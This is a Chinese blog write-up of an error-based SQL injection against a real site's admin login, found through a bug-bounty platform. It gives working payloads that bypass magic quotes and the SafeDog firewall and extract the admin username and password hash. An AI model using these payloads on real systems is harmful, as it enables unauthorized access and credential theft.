记一次艰难的SQL注入(过安全狗)

news2025/1/12 17:30:26

1.前言

最近在挖补天的src,然后挖出了不少SQL注入,完了出了数据库名就不管那么多提交了。今天挖了个报错注入的,突然一激灵,说我不能这样颓废下去了,刚好是个后台登录的界面,我决心要登进它的后台。

1643952172_61fcb82c03e0f6f343a5a.png!small

2.注入测试

bp抓包,加单引号,没有什么用。

1643952189_61fcb83d079a6018624f5.png!small

很显然,这里开启了php的魔术函数,把单引号自动转义了。

2.1.绕过第一式:汉字双字节编码绕过单引号

当开启了魔术函数过滤了引号时,可以在引号前加上一个汉字双字节编码,可以实现绕过。

例如构造Payload为:

username=%BF'

1

%BF解码之后是中文乱码

1643952215_61fcb857206cc71168d77.png!small

1643952224_61fcb86004e34229f57a5.png!small

可以看到SQL语句变成:

SELECT * FROM `sl_admin` WHERE `username`='¿'

成功过滤单引号。

程序报错,考虑使用爆错注入。

3.获取数据库

既然想进后台,就需要账号密码,就要注数据库,表名,列名,内容。

第一步是注出数据库,版本,用户等基本信息。

先把Payload放出来,再进行讲解。

Payload:

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)#

1643952331_61fcb8cb0c8d3a9da01b2.png!small

数据库名不能放出来,在本文中用test_db代替。

用这个Payload成功注出了数据库,因而版本信息,当前用户只是改一个值的事,在这里也放出来。

数据库:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(database()),0x7e),1)#
用户:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(user()),0x7e),1)#
版本:
username=%BF'/**/and/**/updatexml(1,concat(0x7e,(version()),0x7e),1)#

3.1绕过第二式:注释

再第一个绕过那里,可以看到SQL语句后面还多了个单引号。这个单引号要么把它闭合,要么就注释掉。由于这里开启了魔术函数,所以选择注释。

我原本是想用 –+ 来注释的,但是网站用了安全狗,所以加号被干掉了,那就只能用 # 注释了。

注释成功,很简单,没什么好说的。

1643952365_61fcb8edf3438850f2d28.png!small

3.2 绕过第三式:内联注释绕过空格

安全狗把空格干掉了。

空格或者加号都会被干掉。

1643952383_61fcb8ffee755ddd89b95.png!small

当空格和加号都被干掉时,可以用内联注释 /**/ 代替实现绕过。

username=%BF/**/and/**/1'

1643952425_61fcb929d90789ea35a97.png!small

4.获取表名

再得到数据库后要获取表名。

先把Payload放出来。

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/gr

1643952454_61fcb946dabb47edb88cf.png!small

管理员表用admin代替,其他表用test_table代替。

4.1 绕过第四式:select过安全狗

注表名需要用select语句,因此我最开始写的Payload是这样的:

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()),0x7e),1)#

很快啊,被安全狗拦了。

1643952474_61fcb95a977e7f2fc4a2f.png!small

这种select的绕过是最麻烦的,我在尝试了URL编码绕过,混淆大小写绕过,脏数据绕过均告失败后,打开了万能的百度,看到了这篇文章。

https://www.cnblogs.com/w-i-n-d/p/8649590.html

在该文中,用 /*!50000%53elect*/ 代替select实现绕过

我尝试了一下,成功实现了绕过(见上图)

后来我测试了一下,其他关键词也可以用这种方法绕过

select
/*!50000%53elect*/
order 
 /*!50000%53elect*/
union
/*!50000%75nion*/

5.获取列名

得到了表名和列名,接下来就是要获取列名。

先放Payload:

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/7,1),0x7e),1)#

5.1绕过第五式:骚操作绕过魔术函数

按照正常的注入流程,写出来的Payload应该是这样的:

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/and/**/table_name/**/like/**/'admin'),0x7e),1)#

问题在于,魔术函数干掉了我的单引号。

于是我就开始各种百度,Google,查找怎么绕过魔术函数。

Noway

就在陷入死胡同时,我灵机一动。

我在最开始学SQL注入的时候,看到information_schema数据库获取信息时,专门去看了这个数据库的结构,在columns这个表里有个字段叫 column_name ,是攻击者需要获取的信息,有个字段叫 table_schema ,对应的是该字段所在的数据库名,有个字段叫 table_name ,对应的是该字段所在的表名。

因此,当同时获取了数据库名和表名时,可以获取到对应表的所有列名。

但是在表数量少且无法利用表名时,可以只指定数据库名,然后利用 limit 语句获取当前数据库所有的字段,再通过经验判断表名。

例如,我想知道 数据库 testadmin表的内容。

select column_name from information_schema.columns where table_schema like 

1643952530_61fcb9922540c62054654.png!small

这时通过直觉可以判断出,admin表中的字段是 id username password。

同理,在该站点中,可以通过这种方法,获取字段。

当Payload指定为:

username=%BF'/**/and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()/**/limit/**/1,1),0x7e),1)#

得到的字段数为:typeid。

1643952552_61fcb9a84ae9f39b4c2a8.png!small

通过修改limit后的值,就可以得到所有的字段,包括admin表中的字段。

经过测试,当值为 7,1时可以得到字段 username; 当值为 8,1时可以得到字段 password。

1643952568_61fcb9b81b157b49acca9.png!small

1643952582_61fcb9c60e6228b3b4dcd.png!small

6.爆帐密

得到了以上信息后,爆帐密就很简单了。

爆账号:
username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/username/**/from/**/sl_admin),0x7e),1)#
爆密码:
username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/substr(password,1,31)/**/from/**/sl_admin),0x7e),1)#
username=%BF'+and/**/updatexml(1,concat(0x7e,(/*!50000%53elect*//**/substr(password,32,31)/**/from/**/sl_admin),0x7e),1)#

因为密码长度为32,而这里最多只能显示31为,因此用substr函数分两次爆出。

解密得到账号密码。

登录成功。

1643952603_61fcb9db2c992cc1561c0.png!small

总结

实战注入的难度比靶场大得多,各种绕过,各种骚操作。

要学会利用搜索工具,更要学会选择性放弃。

当一条路走不通就换另一种方法,也许就会柳暗花明又一村。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

大厂面试题

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~ 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1713529.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【UnityShader入门精要学习笔记】第十五章 使用噪声

本系列为作者学习UnityShader入门精要而作的笔记,内容将包括: 书本中句子照抄 个人批注项目源码一堆新手会犯的错误潜在的太监断更,有始无终 我的GitHub仓库 总之适用于同样开始学习Shader的同学们进行有取舍的参考。 文章目录 使用噪声上…

WebGL实现医学教学软件

使用WebGL实现医学教学软件是一个复杂但非常有益的项目,可以显著提升医学教育的互动性和效果。以下是详细的实现步骤,包括需求分析、技术选型、开发流程和注意事项。北京木奇移动技术有限公司,专业的软件外包开发公司,欢迎交流合作…

XV7011BB可为智能割草机的导航系统提供新的解决方案

智能割草机作为现代家庭和商业草坪维护保养的重要工具,其精确的定位和导航系统对于提高机器工作效率和确保安全运行至关重要。在智能割草机的发展历程中,定位和导航技术一直是关键的创新点。 传统的基于RTK(实时动态差分定位技术)技术的割草机虽然在…

对比方案:5款知识中台工具的优缺点详解

知识中台工具为企业和组织高效地组织、存储和分享知识,还能提升团队协作的效率。在选择搭建知识中台的工具时,了解工具的优缺点,有助于企业做出最佳决策。本文LookLook同学将对五款搭建知识中台的工具进行优缺点的简单介绍,帮助企…

wifi贴码推广哪家靠谱?

如今越来越多的人想轻资产创业,WIFI贴码是共享行业最无成本的创业项目了,而在选择厂商的时候,大家就想要知道哪家公司靠谱,更好、更便宜、可靠。那么wifi贴码推广哪家靠谱?别急,下面小编将带你一起了解。 目…

分享 - 树形dp

树形 d p dp dp 例1 - 基础 链接:树上子链 练手 分析 其实一看题就很显然的树形 d p dp dp子链在这里分为两种情况,如图黑链和红链 思路 d p [ i ] dp[i] dp[i] 表示以 i i i 开头的红链的最大权值易得: d p [ i ] m a x ( d p [ i…

游泳时用什么耳机听歌好?精品榜前四游泳耳机揭秘,款款佳品!

游泳时用什么耳机听歌好?这无疑是众多水上运动爱好者的共同疑问。在享受游泳带来的清凉与畅快时,若能伴随着悦耳的音乐,无疑能让整个体验更加完美。然而,市面上的游泳耳机种类繁多,品质各异,如何选择一款既…

乐鑫ESP串口驱动安装,安装cp210x驱动

windows11安装cp210x驱动: 1:第一步官网下载驱动: 官网地址如下: CP210x USB to UART Bridge VCP Drivers - Silicon Labs 第二步:解压文件夹并安装如图所示: 3:第三步安装成功后会给你个提示…

一个小技巧轻松提升量化精度!IntactKV:保持关键词元无损的大语言模型量化方法

目录 摘要关键词元(Pivot Tokens)方法概述实验验证1. 权重量化2. KV Cache 量化3. 权重和激活值量化 参考文献 本文介绍我们针对大语言模型量化的工作 IntactKV,可以作为插件有效提升 GPTQ、AWQ、QuaRot 等现有主流量化方法效果。论文作者来自…

CPU对代码执行效率的优化,CPU的缓存、指令重排序

目录 一、CPU对代码执行效率的优化 1. 指令流水线(Instruction Pipelining) 2. 超标量架构(Superscalar Architecture) 3. 动态指令重排序(Dynamic Instruction Reordering) 4. 分支预测(…

visio中画乘法器加法器符号

情景:在进行rtl设计时,需要画出简单的电路实现图,需要用到加法器,乘法器的符号。 位置:在visio的更多形状中,找到如下图的位置,进行添加,即可 最终效果: 可以满足我们日…

基于L1范数惩罚的稀疏正则化最小二乘心电信号降噪方法(Matlab R2021B)

L1范数正则化方法与Tikhonov正则化方法的最大差异在于采用L1范数正则化通常会得到一个稀疏向量,它的非零系数相对较少,而Tikhonov正则化方法的解通常具有所有的非零系数。即:L2范数正则化方法的解通常是非稀疏的,并且解的结果在一…

虹科Pico汽车示波器 | 免拆诊断案例 | 2010 款北京现代ix35车挡位偶尔锁定在4挡

故障现象 一辆2010款北京现代ix35车,搭载G4KD发动机和6速自动变速器,累计行驶里程约为23.6万km。该车行驶中急加速时,挡位偶尔锁定在4挡,同时发动机故障灯异常点亮。 故障诊断 该车自动变速器控制模块(TCM&#xff0…

css-calc动态计算属性值无效

1.calc计算 可以使用css属性动态适应盒子的宽高,适用于布局中左侧固定宽或高,右侧宽度适应;右侧宽度等于calc(100vw - rightWidth); 2.属性值无效 3.解决 width: calc(100vw - 360px); 减号左右需要空格

Kivy 项目51斩百词 5

MRWord\pages\infopage\info.py def read_random_word(self) def read_random_word(self):"""随机读取一条数据"""sql "SELECT * FROM word WHERE id (SELECT word_id FROM today ORDER BY RANDOM() limit 1)"rows select_data(sq…

Google使用AI改进了 Sheets;开源视觉语言模型llama3v;开源情绪语音模型ChatTTS;

✨ 1: Google has improved Sheets with AI. Google 使用 AI 改进了 Sheets 您可以使用 Gemini 处理您的数据并将其变成老师。 优化您的数据 Gemini 了解您的数据并提出改进建议。 例如,它可以将重复数据转换为更实用的下拉框。 解释数据 通过单击双子座图标…

产品推荐 | 基于Xilinx Zynq-7015 FPGA的MYC-C7Z015开发板

一、产品概述 基于 Xilinx Zynq-7015,双Cortex-A9FPGA全可编程处理器;PS部分(ARM)与PL部分(FPGA)之间采用AXI高速片上总线通信,吉比特级带宽,突破传统ARMFPGA架构的通信瓶颈,通过PL部分(FPGA)灵活配置丰富的外设接口&…

电表自动抄表系统:智能时代的能源管理新方式

1.界定和功能 电表自动抄表系统是一种现代化电力计量技术,它利用先进的通讯技术和互联网,完成了远程控制、实时电磁能数据采集和处理。系统的主要作用包含全自动载入电表数据信息、实时检测电力应用情况、出现异常报案及其形成详尽能源使用报告&#xf…

OpenHarmony面向万物智联的应用框架的思考与探索

应用框架,是操作系统连接开发者生态,实现用户体验的关键基础设施。业务的飞速发展促进了应用框架不断演进和变化。 01►业界应用框架的演进 应用是用户使用操作系统/设备的入口,应用框架则是应用开发和运行的基础设施。以移动端为例&#x…

逍遥散人的“痛婚”,让《光夜》玩家悄悄破防了

网红博主的一场求婚,让《光与夜之恋》玩家破防了。 知名游戏博主逍遥散人发微博公布求婚成功,本来应该是一件喜事,但却因为求婚场景布满了《光与夜之恋》男主角之一陆沉的谷子(周边),遭到了“6推”&#x…